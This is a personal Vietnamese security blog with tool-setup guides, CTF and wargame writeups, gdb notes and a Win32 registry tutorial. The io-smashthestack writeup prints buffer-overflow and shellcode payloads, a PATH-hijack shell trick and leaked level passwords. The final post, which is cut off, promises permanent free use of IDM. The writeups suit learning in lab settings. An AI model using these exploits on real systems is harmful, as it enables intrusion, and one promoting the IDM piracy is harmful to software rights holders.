Wednesday, December 17, 2014

Hướng dẫn cài IDApython để chạy python script trong IDA pro

Chú ý: nếu đang bật IDA, hãy tắt nó trước khi thực hiện theo hướng dẫn.
1. Download python 2.7 từ https://www.python.org/, cài đặt, sau đó thiết lập biến môi trường cho python.
2. Vào https://code.google.com/p/idapython/downloads/list, sau đó chọn phiên bản  idapython đúng với bản ida và python đang sử dụng. Mình đang sử dụng ida 6.1 và python 2.7 nên mình sẽ download file: idapython-1.5.2_ida6.1_py2.7_win32.zip
3. Giải nén file này, sau đó

  • Copy  folder python của folder vừa giải nén ở trên vào folder gốc của IDA
  • Copy file python.cfg trong folder vừa giải nén vào folder gốc của IDA
  • Copy toàn bộ file trong folder plugins của folder vừa giải nén vào folder gốc của IDA.

Thử load 1 PE vào IDA, nếu ở cửa sổ output window của IDA hiện lên:
Python 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] 
IDAPython v1.5.2 final (serial 3) (c) The IDAPython Team <idapython@googlegroups.com>
là bạn đã cài đặt thành công.

Muốn chạy 1 file .py trong IDA, bấm File->Script file, sau đó chọn đến file .py cần chạy.
Cách viết 1 file python script để chạy trong IDA, xem hướng dẫn ở đây:
http://www.offensivecomputing.net/papers/IDAPythonIntro.pdf



Thursday, October 16, 2014

How to fix Live Http header can't replay on Firefox 32.0.x

1. Download file:
http://rghost.net/58012556
2. Drag and drop it to about:addons (extensions Firefox page)
3. Install and restart Firefox

Monday, October 6, 2014

How to fix Ubuntu 12.04 can't load to GUI (Vmware 9.0)

After installed Ubuntu 12.04 (x86) on Vmware 9.0 and reboot. It can't load to GUI with black screen. How to fix it?
Go to VM -> Setttings -> Display-> Uncheck 3D graphic and reboot your Virtual machine.

Sunday, September 28, 2014

Stegano+ forensic tool + link note:

Stegano tool:
1. outguess ( giấu, lấy lại dữ liệu trong các bit dư thừa của dữ liệu)
sudo apt-get install outguess
outguess -r abc.jpg output.txt
examle: http://linuxpoison.blogspot.com/2010/08/how-to-hide-data-steganography-into.html
Forensic tool default on kalinux :
1. Recover delete file from disk image file:
https://ctftime.org/writeup/1209
2. Audio file analyzer
sonic-visualiser + audacity
http://hyp3rn0vax.blogspot.com/2014/09/su-ctf-2014-hear-with-your-eyes-write-up.html
Classic crypto trick:
1. Poem code
http://hyp3rn0vax.blogspot.com/2014/09/su-ctf-2014-decrypt-message.html
http://www.slideshare.net/derekbruff/poem-codes
Re trick:
ASPacker:
http://hyp3rn0vax.blogspot.com/2014/09/su-ctf-2014-reverse-me-write-up.html

Monday, September 8, 2014

Hướng dẫn cài gdb peda script

OS: ( Ubuntu 14.04 LTS x64)
1. Kiểm tra gdb python compiler
gdb
python print(sys.version)
2.7.6 (default, Mar 22 2014, 23:03:41)
Do Peda chưa hỗ trợ python 3.x nên nếu hiện lên 3.x thì phải gỡ bỏ gdb và cài lại
sudo apt-get remove gdb
2. Cài đặt gdb
sudo apt-get install libncurses5-dev
Download gdb từ : ftp://sourceware.org/pub/gdb/releases/ ( mình sử dụng bản 7.7)
./configure --with-python2
make
sudo make install
3. Cài đặt peda:
wget http://ropshell.com/peda/peda.tar.gz
tar -xvf peda.tar.gz
- copy peda vào HOME directory
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
Chạy gdb và tận hượng. Enjoy :]

Saturday, September 6, 2014

PicoCTF2013 writeup

PicoCTF2013 writeup:
Đây là một ctf khá cơ bản cho CTF beginner.
Chú ý: 
Hình như mỗi một user một số bài flag sẽ bị thay đổi, không thể copy flag bên dưới để submit trực tiếp được.
Link : https://picoctf.com/
OK, let's go.

Problem : Failure to Boot
Google với keyword "ERROR: 0x00000023".
Mã lỗi này xuất hiện khi entries FAT file system bị thay đổi không chính xác
Flag: FAT_FILE_SYSTEM
Problem : XMLOL
Link file XML đề bài : 
https://picoctf.com/autoproblems/tmpPoc4IM.xml
Truy cập link bằng trình duyệt nào đó( ff, chrome,..) bấm ctrl + U để view source. 
<super_secret_flag>53602162025324853841232713368</super_secret_flag>
Flag:53602162025324853841232713368
Problem: Read the Manual
Một đoạn văn bản bị encode hoặc encrypt ở link:
https://picoctf.com/autoproblems/tmpG70Prv.txt
Nhận xét :
Nhìn qua, ta có thể nhận xét ngay đây là một dạng mã thay thế, có thể được giải quyết bằng phương pháp
"alphabet frequency analysis" google plz.
Giờ không ai còn ngồi mò mẩm để tính ra từng ký tự nữa. CrypTool 2.0 sẽ giúp chúng ta (sử dụng module : Monoalphabetic Substitution Analyzer)
Flag: dgoqkuvxxiur
Problem : Technician Challenge
Google keyword "For what kind of car was the first unlocked iPhone traded"
Flag: Nissan 350Z
Bonus: Anh chàng George Hotz khá thú vị, các bạn có thể tìm google thêm thông tin về người này. Một hacker tài năng, là  người đầu tiên bẻ khóa iPhone của Apple(2007) khi mới 17 tuổi( được Apple thưởng cho em Nissan 350Z trên), bẻ khóa thành công bộ điều khiển của PS3(2010) và bị Sony kiện. Anh này là thành viên duy nhất của team tomcr00se đang đứng ở vị trí số 5 trên bảng xếp hạng của ctftime.org/
Problem : Spaceport Map
Một cái ảnh gif ở link : https://picoctf.com/problems/spaceportmap.gif
Khi dê chuột vào bất cứ 1 điểm nào đó, dòng text ở bên dưới chạy và ta có thể nhìn thoáng qua có chữ key... tuy nhiên nó chạy nhanh ta không kịp nhìn. Ok, một công cụ online giúp ta view được từng frame của gif file:
http://gif-explode.com/
Flag: Do passports let you fly interstellar?
Continue...
Problem : Bitwise
http://pastebin.com/kKzaX05V
Flag: ub3rs3cr3t
Problem: Byte Code
Java class decompiler online website:
http://showmycode.com/
Problem : Client-Side is the Best Side 
Link chứa flag nằm chình ình trong java script code.
https://picoctf.com/problems/aebe515f7c62b96ad7de047c11aa3228.html
Flag cl13nt_s1d3_1s_w0rst_s1d3
Problem : DDoS Detection
Filter : https://www.cloudshark.org/captures/88971318a309?filter=tcp.flags.syn ==1 and tcp.flags.ack ==0
lưu lại thành file ip.txt và chuyển các ip tấn công vào một set( tập hợp ) trong python để loại bỏ các ip trùng.
 http://pastebin.com/9SfyNy4U


Monday, July 7, 2014

Cài đặt công cụ AuditConsole để phân tích log audit của mod_security( công cụ phân tích log giao diện web)

Os: Ubuntu server 64bit 14.04
Hướng dẫn bằng tiếng anh:
https://secure.jwall.org/AuditConsole/user-guide/
Bước 1: 
Download :
https://secure.jwall.org/web/audit/console/download.jsp
Mình chọn bản:
AuditConsole-0.4.1-standalone.zip
Ok. Sau khi download xong giải nén và cp thư mục AuditConsole vào thư mục /opt
sudo mv AuditConsole /opt/AuditConsole
Bước 2: 
Cài các gói cần thiết và run một số command :]:
sudo apt-get update
sudo apt-get install default-jre
sudo apt-get install default-jdk

sudo apt-get install mysql-server
mysqladmin -u root -p create AuditConsoleDB
mysql -u root -p AuditConsoleDB
GRANT ALL ON AuditConsoleDB.* to wacUser@localhost IDENTIFIED BY 'wacPassword';
FLUSH PRIVILEGES;
mysql -u wacUser -p AuditConsoleDB
mysql -u wacUser -p -h database-host AuditConsoleDB
cd  /opt/AuditConsole/bin
chmod +x *.sh
Download unzip mysql-connector-java-5.1.10.zip hoặc bản mới nhất về(google please)

unzip mysql-connector-java-5.1.10.zip
cp mysql-connector-java-5.1.10/mysql-connector-java-5.1.10.jar /opt/AuditConsole/lib/
cd /opt/AuditConsole
sudo ./catalina.sh start
Địa chỉ web mặc định sẽ là :
https://ip:8443
User: admin, admin
Lần đầu cấu hình cứ bấm next cho đến bước cấu hình thông số database thì điền như sau:
URL: jdbc:mysql://localhost:3306/AuditConsoleDB
User: wacUser
Password: wacPassword
Ok. Muốn upload file log để phân tích thì vào menu Event-> Upload


Wednesday, June 25, 2014

Hướng dẫn cấu hình remote debug ( IDA pro 6.1, target: ubuntu 14.04 x64)

Debug file elf 32bit.
Copy file linux_server vào máy ảo ubuntu. Chạy file này
./linux_server
sẽ báo lỗi :
./linux_server: error while loading shared libraries: libstdc++.so.6: cannot open shared object file: No such file or directory
Cài thêm gói sau:
sudo apt-get install lib32stdc++6
Sau đó chạy bình thường.
Copy file cần debug vào máy cài IDA 6.1 và open file này bằng IDA
Vào debugger -> Select a debugger -> Remote Linux debugger -> OK
Tiếp tục vào Debugger ->Process options
Appilication : Đường dẫn tới file debug trên server Ubuntu (/home/f2_ubuntu_x64/ctf/elf1.bin)
Input file : Giống trên
Directory : Bỏ phần tên file :  /home/f2_ubuntu_x64/ctf/
Parameters : tham số ( tùy chọn)
Hostname: ip của Ubuntu server
Ok.
Chú ý: kiểm tra lại đường dẫn ( dấu cách,..) firewall của cả 2 máy ....

Tuesday, June 3, 2014

iosmashthestack write up


Start: 
gdb -q level01
set disassembly-flavro intel disass main
0x08048080 <+0>:     push   0x8049128
0x08048085 <+5>:     call   0x804810f <puts>
0x0804808a <+10>:    call   0x804809f <fscanf> 
0x0804808f <+15>:    cmp    eax,0x10f
0x08048094 <+20>:    je     0x80480dc <YouWin>
0x0804809a <+26>:    call   0x8048103 <exit>
Set a breakpoint in 0x0804808a <+10>:
b *(main+10)
or:
b *(0x0804808a)
password : 271
cat /home/level2/.pass
hgvbmkQIHavkGg5wyk 
Lv2
./level02 -2147483648 -1 
cat /home/level3/.pass Ib3F7i7FqjziuDOBKi
Lv3:
 ./level03 $(python -c 'print "A"*76 + "\x74\x84\x04\x08"')
( Ghi de dia chi ham bad bang ham god)
9C4Jxjc3O3IjB7nXej
Lv4:
 cd /tmp
mkdir /namnt
vi whoami.c

 #include "stdlib.h"
   int main(){
   system("/bin/sh");
   return 0;
   }

gcc -o whoami whoami.c
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
pwd
/tmp/namnt
export PATH=/tmp/namnt:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
cd /level
./level04
cat /home/level5/.pass

KGpWsju2vDpmxcxlvm
Lv6:


Shell:

r $(python -c 'print "\x90"*40+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x50\x50\x89\xe2\x83\xc2\x08\x89\x14\x24\xb0\x0b\x89\xd3\x89\xe1\x31\xd2\xcd\x80\x90\x90\x90"+"\x90"*64+"\xb0\xfb\xff\xbf"')
9BT8fmYDTPimXXhY3m
Lv7:
u1zqhnHEzaKmzK09Um
Lv8:
gQN3plSIDwulXhGQvl
Lv11:
oYZ4UoMIao6oPNhHCo

Tuesday, May 6, 2014

0x3004 RE150 write up

Đầu tiên chúng ta đổi tên file btc cho 150-ulock.ex_ thành 150-ulock.exe và load vào Olly. Run thử thấy xuất hiện 1 form Keygen có 3 editbox, editbox1 : là unlock code và 2 editbox sau là Name và Serial đang bị disable. Nhưng tạm thời ta chưa điền được gì vào đó cả. Gõ thử unlock code = 1 và bấm unlock. Hiện lên thông báo sai Unlock code: 'You have entered an invalid Unlock,...'. Tìm thấy 2 đoạn có dòng text này trong olly ở địa chỉ 004010C5, 00401317. Follow dòng 1 tới địa đoạn :
004010BE   > \6A 30         push    30                               ; /Style = MB_OK|MB_ICONEXCLAMATION|MB_APPLMODAL
004010C0   .  68 A5324000   push    150-uloc.004032A5                ; |Title = "-=[ Unlock Code Error"
004010C5   .  68 BB324000   push    150-uloc.004032BB                ; |Text = "You have entered an invalid Unlock Code.
Please try again."
Đoạn nhảy tới đoạn này nằm ở địa chỉ
0040109D   . /76 1F         jbe     short 150-uloc.004010BE
Ngay trước đó có một lệnh so sánh :
00401086   .  6A 11         push    11                               ; /Count = 11 (17.)
00401088   .  68 08334000   push    150-uloc.00403308                ; |Buffer = 150-uloc.00403308
0040108D   .  68 F1030000   push    3F1                              ; |ControlID = 3F1 (1009.)
00401092   .  FF75 08       push    dword ptr ss:[ebp+8]             ; |hWnd
00401095   .  E8 38030000   call        ; \GetDlgItemTextA
0040109A   .  83F8 07       cmp     eax, 7
Đoạn này có nghĩa là sẽ so sánh chiều dài của unlock code với 7, nếu nhỏ hơn thì nhảy tới đoạn thông báo sai unlock, nếu lớn hơn thì sẽ tiếp tục tính toán. Ok đặt 1 breakpoint ở địa chỉ 0040109D( chỗ lệnh nhảy) , nhập 1 đoạn unlock code = '11111111' ( 8 ký tự 1) vào bấm unlock. Trace tiếp:
0040109F   .  E8 29020000   call    150-uloc.004012CD
Mình không tính toán kỹ đoạn này nhưng mục đích cuối cùng của nó là từ chuỗi nhập vào sau một hồi thì sẽ lưu 1 byte vào địa chỉ ds:[403318]
004012EC  |.  0005 18334000 add     byte ptr ds:[403318], al
Với chuỗi 8 ký tự 1 như trên thì byte 41 sẽ được lưu vào ds:[403318] Trace tới hàm tiếp theo :
004010A7   .  E8 4B020000   call    150-uloc.004012F7                ; \150-uloc.004012F7
Hàm này kiểm tra xem đoạn unlock code có chiều dài > 1 không. Nếu nhỏ hơn thì lại in ra đoạn sai unlock code, nếu đúng :
00401334  |> /8A1418        /mov     dl, byte ptr ds:[eax+ebx]
00401337     |3215 18334000 xor     dl, byte ptr ds:[403318]
0040133D  |. |881418        |mov     byte ptr ds:[eax+ebx], dl
00401340  |. |43            |inc     ebx
00401341  |. |49            |dec     ecx
00401342  |.^\75 F0         \jnz     short 150-uloc.00401334
Nó sẽ xor 7B byte bắt đầu từ :ds:[004011C1], với byte lúc nãy tính được( đang lưu tại ds:[403318]) và lưu lại vào chính nó dẫn tới opcode của chương trình bắt đầu từ ds:[004011C1] bị thay đổi. Tiếp theo nó sẽ enable 2 editbox name và serial:
004010AF   .  E8 94020000   call    150-uloc.00401348                ; \150-uloc.00401348
Btc đã hint ta cần phải tìm serial cho user : 0x3004 Nội dung ở bên dưới cũng không có gì quá đặc biệt, chỉ duy nhất tại địa chỉ :
00401135   .  E8 AE000000   call    150-uloc.004011E8
Gọi tới đoạn đã bị thay đổi Và 2 đoạn :
00401291   > /8A98 29334000 mov     bl, byte ptr ds:[eax+403329]
00401297   . |3898 3A334000 cmp     byte ptr ds:[eax+40333A], bl
ds:[eax+403329] : -> đại chỉ chuỗi serial ds:[eax+40333A] : -> một địa chỉ lạ. Ta có thể đoán ra địa chỉ 004011E8: sẽ làm gì đó sau đó lưu lại các byte vào địa chỉ ds:[eax+40333A] Đến đây chúng ta bắt buộc phải tính toán lại đoạn bắt đầu từ : 004011E8 Ban đầu phương pháp của mình là brute force từ 1 -> 255 điền vào ds:[403318] vì nghĩ có thể tại địa chỉ 004011E8 có thể không phải là 1 function, cách này cũng ra tuy hơi trâu bò tí :D. Nếu biết đoạn bắt đầu từ 004011E8 là 1 func ta có thể đoán ra đoạn opcode đầu tiên sẽ là :
55            push    ebp
-> byte đã được điền vào ds:[403318] = 55 xor ds:[004011C1] ( =70) -> ds:[403318] = 0x25 Điền lại unlock code > 8 ký tự, Xóa hết breakpoint và đặt lại 2 breakpoint tại
004010A7   .  E8 4B020000   call    150-uloc.004012F7                ; \150-uloc.004012F7
00401297   . |3898 3A334000 cmp     byte ptr ds:[eax+40333A], bl
Trace đến 004010A7 sau đó set lại giá trị tại ô nhớ ds:[403318] = 0x25, điền username=0x3004 Trace đến: 00401297 và dump giá trị từ 40333A -> 40333F, đây chính là flag cần tìm :
21137D5FCAAC07F9

Sunday, April 6, 2014

Thursday, March 13, 2014

Note: gdb debug

http://www.yolinux.com/TUTORIALS/GDB-Commands.html
http://felix.abecassis.me/2012/08/gdb-debugging-stripped-binaries/
http://techbliss.org/threads/ida-pro-debugging-via-wmware-linux-os-x.474/
Note:
turn off ASLR:
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
turn off Stack protect+ nx bit:
gcc -o lv5 lv5.c -fno-stack-protector -z execstack
gcc -m32 -o lv5 lv5.c -fno-stack-protector -z execstack
set intel syntax gdb default:

echo "set disassembly-flavor intel" > ~/.gdbinit
echo "set follow-fork-mode child" > ~/.gdbinit

Free port used:
lsof -i:80
kill ten_process

Xác định độ lệch esp giữa gdb và thực tế bằng get_sp.c( Kiểm tra lại aslr xem đã tắt chưa bằng cách chạy 1 vài lần xem địa chỉ có bị thay đổi không):
#include "stdio.h"
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x\n", get_sp());
}
Biên dịch và chạy file này, in ra một địa chỉ: 0xbffff5e8 ( thực tế)
Thử debug bằng gdb :
gdb -q get_sp
disass main
   0x08048424 <+0>:     push   ebp
   0x08048425 <+1>:     mov    ebp,esp
   0x08048427 <+3>:     and    esp,0xfffffff0
   0x0804842a <+6>:     sub    esp,0x10
   0x0804842d <+9>:     call   0x804841d <get_sp>
   0x08048432 <+14>:    mov    DWORD PTR [esp+0x4],eax
   0x08048436 <+18>:    mov    DWORD PTR [esp],0x80484e0
   0x0804843d <+25>:    call   0x80482f0 <printf@plt>
   0x08048442 <+30>:    leave
   0x08048443 <+31>:    ret
Đặt breakpoint ở leave
b *(main+30)
r
Sẽ thấy chương trình in ra địa chỉ $esp ở gdb  
Starting program: /home/f2_ubuntu_x86/Desktop/iosmash/get_sp
0xbffff598
Do đoạn trên sub esp,0x10. -> địa chỉ thực tế hàm get_sp sẽ là 
0xbffff598 +0x10= 0xbffff5a8
 -> Độ chênh ( giảm xuống của esp khi chạy trong gdb) =  
0xbffff5e8 - 0xbffff5a8 = 0x40
 -> Khi debug trong gdb mà ret add là  
"\xa0\xfb\xff\xbf" ( như ở lv5) thì ret add ở bên ngoài sẽ phải đổi thành "\xf0\xfb\xff\xbf"  


gdb file_name
set disassembly-flavor intel
disassemble main
gdb command list:

  1. b(breakpoint) *0x1234 hoặc b *(main+30). Set breakpoint
  2.  info breakpoints ( view list breakpoints)
  3. r(run) : start debug
  4. info r( info registers) : View registers
  5.   x/16aw 0xbffff5e8
  6. x/30i mains
  7. Objdump -D file
  8. Objdump -M intel -D level01

Monday, March 3, 2014

Windows Registry Using C++ and Win32 API

DISCLAIMER : 
Well, this is my first article. So please forgive me for my mistakes :)
END DISCLAIMER
READERS : People who have understanding of C\C++ or any programming language or those who
 are interested in reading.
This is a short article on using Win32 API functions in C++ to work with Windows registry.
OK lets start then.
I guess most of you might have heard about the windows registry or atleast registry cleaners.
The windows registry is basically like a store house of settings. It stores settings and options
of Windows as well as the programs installed on your machine. It may contain information 
like which programs to run at start up, what is the current wallpaper, program preferences, ...etc
So when programming in C++ , you might want the settings of your program to be stored in
the registry for some reason. Or sometimes, like me, you might just want to mess up with the 
registry. In any case you may need the Win32 API as it provides us with many functions to
manipulate the registry.
The basic functions you will need to manipulate registry are :
RegOpenKeyEx()
RegCreateKeyEx()
RegQueryValueEx()
RegSetValueEx()
RegDeleteValue() 
RegDeleteKey()
RegEnumKeyEx()
RegCloseKey()
But before we go and explain the functions, there are some basics to be understood..
Some points to note are :
1.Entire registry is divided in to hives called
HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE ,HKEY_CURRENT_CONFIG and HKEY_USERS
All other keys come under any one of these hives. For eg. 
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows and so on...
Much like a directory structure. Software is subkey of HKLM, Microsoft is subkey of Software .....
And the keys may contain values. Values are used to store data.
 So, the hives are like the partitions, keys are like folders/directories and the values are like files.
2.There are data types in registry too. They are REG_SZ (for string) , REG_DWORD (for 32bit numbers),
REG_BINARY (binary ofcourse) . There are more but these 3 are enough to begin.
3.To access a registry key, you will need a handle to registry keys. This is very similar to having
handles for files. Here Win32 API provides us with a typedef HKEY (same as long int)
---------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------
Functions explanation :
---------------------
1.RegOpenKeyEx()- Used to open a registry key.
 The definition of the function according to Win32 API reference is like this :
 
LONG RegOpenKeyEx(
HKEY hKey, // handle of open key 
LPCTSTR lpSubKey, // address of name of subkey to open 
DWORD ulOptions, // reserved 
REGSAM samDesired, // security access mask 
PHKEY phkResult  // address of handle of open key 
);
 
Okay, the syntax is really self explanatory bu let me explain if you have any doubts.
First parameter is HKEY hkey. We give the name of the hive which we want to access.
ie , if I want to access HKEY_LOCAL_MACHINE, I would write that.
Second is name of Subkey. For eg, just consider that I need to acces the subkey
Software\Microsoft\Windows
Then I would write "Software\\Microsoft\\Windows" 
Third parameter is ulOptions which is set 0 .
Fourth parameter is samDesired. This describes security access for the key. 
Some parameters you can use are KEY_ALL_ACCESS (for complete access),
KEY_EXECUTE (For read access) , KEY_CREATE_SUB_KEY (permission to create sub key) and so on...
For a list of complete values, please refer to MSDN library.
The fifth parameter is PHKEY , which is a pointer to the handle which receives the result of the 
operation. 
The function returns ERROR_SUCCESS if there was no error.
Eg.
Say, I wanted to access the key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 
I would write the code :
 
 
HKEY hKey;
LONG res;
res=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,hKey);
if(res!=ERROR_SUCCESS)
 MessageBox(0,"Error Opening Registry Key","Error",0);
 
 
The above example is very simple. a variable res checks the return value of RegOpenKeyEx() function and checks
sees if it's ERROR_SUCCESS. If it was ok, then we have handle to the key in handle named hKey .
-------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------- 
2.RegCreateKeyEx()- Used to create a new subkey or open an already existing registry key.
 The Win32 API reference definition of the function is 
 
LONG RegCreateKeyEx(
HKEY hKey, // handle of an open key 
LPCTSTR lpSubKey, // address of subkey name 
DWORD Reserved, // reserved 
LPTSTR lpClass, // address of class string 
DWORD dwOptions, // special options flag 
REGSAM samDesired, // desired security access 
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of key security structure 
PHKEY phkResult, // address of buffer for opened handle 
LPDWORD lpdwDisposition  // address of disposition value buffer 
);
 
There are 5 new arguments here that you have not seen.
The third argument Reserved is always set as 0.
The fourth argument lpClass points to a null-terminated string that specifies the class (object type) of this key. Thisparameter is ignored if the key already exists. This can be ignored and set as NULL.
The dwOptions flag can be for the time being set as 0 which gives it a defualt value of REG_OPTION_NON_VOLATILE.
 
The seventh option pSecurityAttributes can be set as NULL as we are just starting. This is actually a pointer to a 
SECURITY_ATTRIBUTES structure. 
The lpdwDisposition parameter is a pointr to a DWORD value. It accepts values which can be checked to see it the
function has succeeded.
Eg. If I wanted to create or open a subkey HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
 The code would be.
 
DWORD dwDisposition;
 HKEY hKey;
 RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, 0, NULL, &hKey, &dwDisposition);
 if (dwDisposition != REG_CREATED_NEW_KEY && dwDisposition != REG_OPENED_EXISTING_KEY)
 MessageBox(0,"The function failed","Error",0);
 
----------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------- 
3. RegQueryValueEx() - Retrieves the type and data for the specified registry value.
The definition is :
 
LONG RegQueryValueEx(
HKEY hKey, // handle of key to query 
LPTSTR lpValueName, // address of name of value to query 
LPDWORD lpReserved, // reserved 
LPDWORD lpType, // address of buffer for value type 
LPBYTE lpData, // address of data buffer 
LPDWORD lpcbData  // address of data buffer size 
);
 
 The first parameter is the handle to opened key .
 The second parameter is the pointer to name of value to be queried.
 The third parameter is lpReserved and is set as NULL
 
 The fourth parameter is lpType, which is pointer to variable which recevies the key's value type.
 
 The fifth one is lpData, which is pointer to variable that receives data of the value queried.
 The last one os lpcbData. This is a pointer to the variable that specifies the size, in bytes, of lpData.
 When the function returns, this variable contains the size of the data copied to lpData. 
 
Eg. Consider that I have opened the subkey
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
and its handle is hKey.
I have to query the value named "abcd"
The code would be:
 
DWORD res;
DWORD type =REG_DWORD;
DWORD cbData =1024;
DWORD val;
res=RegQueryValueEx(hKey,"abcd", NULL, &type, (LPBYTE)&val, &cbData);
if(res!=ERROR_SUCCESS0
MessageBox(0,"Error reading value","Error",0);
 
 If the function succeeds, the data will be stored in variable named val .
-------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------
 
4. RegSetValueEx() - Used to set or change value in a registry key .
 The Win32 API reference definition :
LONG RegSetValueEx(
HKEY hKey, // handle of key to set value for 
LPCTSTR lpValueName, // address of value to set 
DWORD Reserved, // reserved 
DWORD dwType, // flag for value type 
CONST BYTE *lpData, // address of value data 
DWORD cbData  // size of value data 
); 
 
 
 Ok, now by using the last two functions, we have opened a subkey. Now its time to set or change a value
 inside the subkey. If you remember, the handle of subkey is in the variable hKey .
 The first parameter hKey is the handle to the open subkey. So if you have used one of the first two functions,
 you will know that the handle used was hKey variable.
 
 The second parameter is lpValueName . This is the name of value to be changed . You will understand more 
 when seeing the example.
 The third parameter is Reserved and is set as 0.
 
 The fourth parameter, dwType specifies type of the value. ie, REG_BINARY or REG_SZ or REG_DWORD and so on...
 The fifth parameter is lpData. It is a pointer to the data that is to be stored in the value.
 The last parameter cbData is the size of data being stored. You can use the sizeof() function to find the size.
 
 Eg. Now, I have opened the key HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
and its handle is hKey.
 There is a value named "abcd" and I want to set its data as 0. So lets see the example code .
 DWORD res,val=0;
 
 res=RegSetValueEx (hKey, "abcd", 0, REG_DWORD, (LPBYTE)&val , sizeof(DWORD));
 
 if(res!=ERROR_SUCCESS)
MessageBox(0,"Error using RegSetValueEx() function","Error",0);
 
------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------
 
5. RegDeleteValue() -- used to delete a value from a specified registry key.
The defintion in Win32 API reference is : 
 
LONG RegDeleteValue(
HKEY hKey, // handle of key 
LPCTSTR lpValueName  // address of value name 
);
 
The function is very simple and easy to understand. 
An example would be enough.
 Eg. I have pened the key HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
and its handle is hKey.
 There is a value named "abcd" which I want to delete. The code would be
DWORD res;
res=RegDeleteValue(hKey,"abcd");
 
 if(res!=ERROR_SUCCEDD)
MessageBox(0,"Error deleteing value","Error",0);
------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------
6. RegDeleteKey() - Used to delete a registry key.
 
The defintion according to Win32API reference is :
 
 LONG RegDeleteKey(
HKEY hKey, // handle of open key 
LPCTSTR lpSubKey  // address of name of subkey to delete 
);
 Here, hKey parameter is the parent key of the key that is to be deleted . 
 
 The lpSubKey parameter is the name of subkey to be deleted . It is not case sensitive.
 
 
 Eg. Consider that I have opened a key HKEY_CURRENT_USER\Software and the handle to it is hKey.
There is a subkey named "ABCD" that I have to delete. The code would be 
 
 
DWORD res;
res=RegDeleteKey(hKey,"ABCD");
if(res!=ERROR_SUCCESS)
 MessageBox(0,"Error deleting registry key","Error",0);
 
 There is another function RegDeleteKeyEx(). But we will deal with it another time.
----------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------
7. RegEnumKeyEx() - Used to enumerate all the sub keys of an open registry key.
The defintion is :
 
 LONG RegEnumKeyEx(
HKEY hKey, // handle of key to enumerate 
DWORD dwIndex, // index of subkey to enumerate 
LPTSTR lpName, // address of buffer for subkey name 
LPDWORD lpcbName, // address for size of subkey buffer 
LPDWORD lpReserved, // reserved 
LPTSTR lpClass, // address of buffer for class string 
LPDWORD lpcbClass, // address for size of class buffer 
PFILETIME lpftLastWriteTime  // address for time key last written to 
);
 
 The first parameter hKey is the handle to open registry key.
 The second parameter dwIndex is the index of subkey to retrieve. ie, first subkey is index 0, second is index 1.
 So this value is incremented to get all subkeys using a loop.
 The third parameter is lpName is a pointer to receive the name of subkey of corresponding index.
 
 The fourth parameter lpcbName points to a variable that specifies the size, in characters, of variable lpName
 The fifth parameter lpReserved is reserved and is set as NULL
 The sixth parameter lpClass can be set as NULL for now. It points to a buffer that contains the class of the enumeratedsubkey when the function returns
 The seventh parameter lpcbClass points to a variable that specifies the size, in characters, of the variable lpClass.
 As we set lpClass NULL, we can set this parameter to be NULL too.
 
 The last parameter is lpftLastWriteTime , which points to a variable that receives the time the enumerated subkey waslast written to.
 
 Eg. Consider I have opened HKEY_LOCAL_MACHINE\\Software key and its handle is hKey.
 I want to enumerate all the subkeys of this key.
 DWORD dwIndex=0;
 TCHAR lpName[1024];
DWORD lpcbName=1024;
FILETIME fTime;
while(RegEnumKeyEx(hKey, dwIndex, lpName, &lpcbName, NULL, NULL, NULL, &fTime) == ERROR_SUCCESS)
{
 MessageBox(0,szKeyName,"Sub Key Name",0);
 dwindex++;
 }
 
 For this function to work, the handle hKey should have been opened with KEY_ENUMERATE_SUB_KEYS access.
 So when opening a subkey using the first two functions we talked about, make sure you give the correct
 access options.
------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------
8. RegCloseKey() -- This function closes the registry key opened and releases the handle of the specified key.
The Win32API reference definition is :
 
 LONG RegCloseKey(
HKEY hKey  // handle of key to close 
);
 The parameter hKey is the handle of the open subkey.
 Eg. Consider I have opened the registry key HKEY_LOCAL_MACHINE\Software and its handle is hKey.
 Then to close this key, I would write
 
 
DWORD res;
res=RegCloseKey(hKey);
if(res!=ERROR_SUCCESS)
MessageBox(0,"Error closing registry key","Error",0);
 
 
If you have opened a registry key using RegOpenKeyEx() or RegCreateKeyEx() function, after you are done with
the key, you must always close it and release its handle using this function.
So I guess this might be enough for you guys to get started and work with windows registry.
There are a lot of settings to tweak, new keys to be created and so many values to mess
with. I hope you guys liked this article.
Nguồn :
_http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=13042&lngWId=3&txtForceRefresh=22820143374589502

Sunday, March 2, 2014

Dùng vĩnh viễn idm mọi version chỉ với 1 click.

Bước 1:Download idm bản mới nhất tại trang chủ.
Bước 2: Gỡ bản idm cũ trong máy( nếu có). Và download file sau về
